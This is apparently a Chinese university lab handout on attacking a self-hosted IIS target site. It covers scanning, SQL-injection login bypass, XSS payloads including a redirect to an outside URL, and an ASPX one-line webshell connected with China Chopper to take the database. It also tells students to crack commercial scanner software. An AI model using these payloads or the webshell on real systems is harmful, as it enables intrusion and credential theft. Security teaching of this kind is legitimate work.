实训1-利用Web漏洞入侵网站并控制服务器

实训目的

深入理解网络无安全的思想。

了解局域网查看软件Lansee的使用方法。

了解端口扫描软件AdvancedPortScanner的使用方法。

了解Web后台扫描软件御剑的使用方法。

了解网站漏洞扫描工具AWVS的使用方法。

了解Webshell连接工具中国菜刀的使用方法。

掌握端口及漏洞扫描的基本知识，能够利用工具进行扫描工作。

掌握网站入侵的一般流程。

实训准备及注意事项

1．硬件：装有Windows操作系统的计算机1台（关闭防火墙和杀毒软件），接入某局域网。

2．软件：LanSee、AdvancedPortScanner、御剑后台扫描工具、网站漏洞扫描工具AWVS、中国菜刀。

3．严格按照实验步骤进行实验，实验结果以截图的形式进行保留。

4．实验后务必将相关工具软件从机器彻底删除，避免工具被恶意利用影响网络正常使用。

实训背景

局域网查看工具可扫描指定网段并探查共享文件，同时监控网络内所有主机的在线情况。

漏洞扫描是指基于漏洞数据库，通过扫描等手段对指定的远程或者本地计算机系统的安全脆弱性进行检测，发现可利用的漏洞的一种安全检测（渗透攻击）行为。配备漏洞扫描系统，网络管理人员可以定期的进行网络安全检测服务，安全检测可帮助客户最大可能的消除安全隐患，尽可能早地发现安全漏洞并进行修补，有效的利用已有系统，优化资源，提高网络的运行效率。

端口扫描是指向目标主机发送一组端口扫描消息，并了解其提供的计算机网络服务类型（这些网络服务均与端口号相关）。端口扫描是计算机解密高手喜欢的一种方式。攻击者可以通过它了解到从哪里可探寻到攻击弱点。实质上，端口扫描包括向每个端口发送消息，一次只发送一个消息。接收到的回应类型表示是否在使用该端口并且可由此探寻弱点。扫描器是一种自动检测远程或本地主机安全性弱点的程序，通过使用扫描器你可以不留痕迹的发现远程服务器的各种TCP端口的分配及提供的服务和它们的软件版本。这就能让我们间接的或直观的了解到远程主机所存在的安全问题。

后台扫描即搜寻网站可能的后台入口，字典扫描是常用的一种Web目录扫描方法，类似于暴力破解，扫描结果是否理想取决于字典的大小。

实训准备 在windows上部署一个IIS web服务

安装IIS相关环境并利用IIS服务器发布靶站源代码（注意应用程序池使用.net 4.0并开启.NET服务）

注意：如果.net环境安装不全可在CMD下输入：

"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe" -iru -enable

如使用64位的windows系统需要应用程序池设置32位应用程序为true。

 成功部署IIS web站点后，使用IE浏览器打开站点，网站首页图如下：

实训任务1 网络探查与端口扫描

局域网探查工具LanSee

1、其他主机在局域网中共享一些文件。

2、运行网络查看工具LanSee.exe。

3、点击设置，输入要探查的ip地址段。

4、点击开始进行探查，观察探查结果。

端口扫描工具AdvancedPortScanner

1、打开AdvancedPortScanner软件，在主界面中选择Use range选项，填入准备扫描的网段或主机IP。

2、选择Options-Configuration命令，此时打开Options对话框，在这里可以设置扫描属性，包括扫描时延、线程优先级、线程数量、扫描IP/Port列表设置等选项。

3、设置完成后点击ok回到主界面，单机Scan按钮，经过一段时间的等待，将显示扫描结果。

实训任务2 Web扫描

网站后台扫描工具御剑

1、打开御剑后台扫描工具，输入要扫描的网站域名。

2、线程选择2-4个，点击开始扫描。

3、等待扫描结果。

网站漏洞扫描工具AWVS

1、安装AWVS软件并破解。

2、利用target finder功能扫描一个IP地址是否提供web服务，是否开启80、443等端口。

3、利用web scanner功能扫描一个网站(自己搭建的靶站)，观察扫描结果(包括漏洞告警、网站结构、cookies等信息)

4、利用site crawler功能爬取网站的文件和目录

实训任务3 漏洞利用

网站后台绕过

1、猜测网站的后台管理地址或使用御剑孤独后台扫描工具暴力搜索进入后台登录界面。

2、尝试使用弱密码登录系统，观察登陆界面给出的反馈。

3、输入一些特殊字符，如‘’/+-=等，点击登录，观察系统反馈。

4、根据登录界面给出的反馈构造永真的SQL语句绕过登录界面。

5、进入网站后台管理界面。

篡改页面内容

1、在网站前台或后台中寻找能够提交信息的合适位置。

2、提交代码<script>alert("test")</script>，使用另外的主机访问此网站，观察效果。

3、提交代码(代码中的网址可更改):

<script>window.location.href="http://d.mytanwan.com"</script>，观察效果。

 网站的后台登陆网址是什么

网站的默认管理员用户名和密码是什么？

admin

输入什么内容可以绕过登陆验证直接进入后台？

实训任务4 上传后门程序(木马)并控制目标主机

一句话木马的使用

1、新建文本文档，将文件后缀修改为aspx，书写内容如下：

<%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>

2、在系统中寻找文件上传点。

3、上传之前创建的aspx一句话木马文件。

4、设法获得上传文件在网站目录中的文件名称和路径。

5、利用中国菜刀工具连接一句话木马(密码为pass)。

6、获得目标服务器的操作权限并拿到数据库文件。

7、对数据库中的账号密码进行解密。

在网站前台或后台中找到一个可以上传文件的位置，拍照或截图

上传文件后，访问该文件的路径(或地址)是什么？

利用菜刀连接木马，将数据库文件复制到本地打开，截图或拍照

利用在线解密网站对数据库中的加密密码进行解密，结果拍照或截图

实验总结

1、端口扫描的目的是什么？

端口扫描是指某些别有用心的人发送一组端口扫描消息，试图以此侵入某台计算机，并了解其提供的计算机网络服务类型（这些网络服务均与端口号相关）。端口扫描是计算机解密高手喜欢的一种方式。攻击者可以通过它了解到从哪里可探寻到攻击弱点。实质上，端口扫描包括向每个端口发送消息，一次只发送一个消息。接收到的回应类型表示是否在使用该端口并且可由此探寻弱点。

2、漏洞扫描的目的是什么？

• 获取某范围内的端口某未知属性的状态：这种情况下，一般是不知道对方情况，只是想通过扫描进行查找。例如，通过扫描检测某个网段内都有哪些主机是开着的。

• 获取某已知用户的特定属性的状态：这种情况下，一般是有明确的目标，有明确要做的事，下面只是查找一下某些属性。例如，通过扫描检测指定的主机中哪些端口是开的。

• 采集数据：在明确扫描目的后，主动地采集对方主机的信息，以便进行下一步的操作。例如，没有预定目的地扫描指定的主机，判断该主机都有哪些可采集的数据。

• 验证属性：在明确扫描目标，并且知道对方具有某个属性的情况下，只是通过扫描验证一下自己的想象，然后判断下一步的操作。例如通过扫描指定的服务，验证对方是否是Windows类操作系统。

• 发现漏洞：通过漏洞扫描，主动发现对方系统中存在的漏洞。如扫描对方是否具有弱密码。

3、Webshell是什么？

WebShell是黑客经常使用的一种恶意脚本，其目的是获得服务器的执行操作权限，比如执行系统命令、窃取用户数据、删除Web页面、修改主页等，其危害不言而喻。